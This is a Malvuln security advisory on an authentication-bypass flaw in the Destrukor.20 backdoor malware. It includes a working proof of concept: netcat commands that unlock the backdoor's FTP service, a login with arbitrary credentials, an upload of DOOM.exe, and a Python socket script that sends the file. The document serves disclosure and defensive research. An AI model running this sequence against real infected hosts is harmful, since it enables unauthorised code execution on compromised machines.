Backdoor.Win32.Destrukor.20 MVID-2022-0626 Authentication Bypass / Code Execution

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/c790749f851d48e66e7d59cc2e451956.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Destrukor.20  
Vulnerability: Authentication Bypass   
Description: The malware listens on TCP port 6969. However, after sending a specific cmd "rozmiar" the backdoor returns "moznasciagac" in Polish "you can download" and port 21 opens. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.  
Family: Destrukor  
Type: PE32  
MD5: c790749f851d48e66e7d59cc2e451956  
Dropped files: sys32.exe  
Vuln ID: MVID-2022-0626  
Disclosure: 07/30/2022  
  
Exploit/PoC:  
C:\>nc64.exe 192.168.18.125 6969  
rozmiar  
moznasciagac  
  
C:\>nc64.exe 192.168.18.125 21  
220 ICS FTP Server ready.  
USER malvuln  
331 Password required for malvuln.  
PASS malvuln  
230 User malvuln logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
CDUP \  
250 CWD command successful. "C:/" is current directory.  
MKD HATE  
257 'C:\HATE': directory created.  
PASV  
227 Entering Passive Mode (192,168,18,125,232,131).  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
226 File received ok  
  
from socket import *  
  
MALWARE_HOST="192.168.18.125"  
PORT=59523  
DOOM="DOOM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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`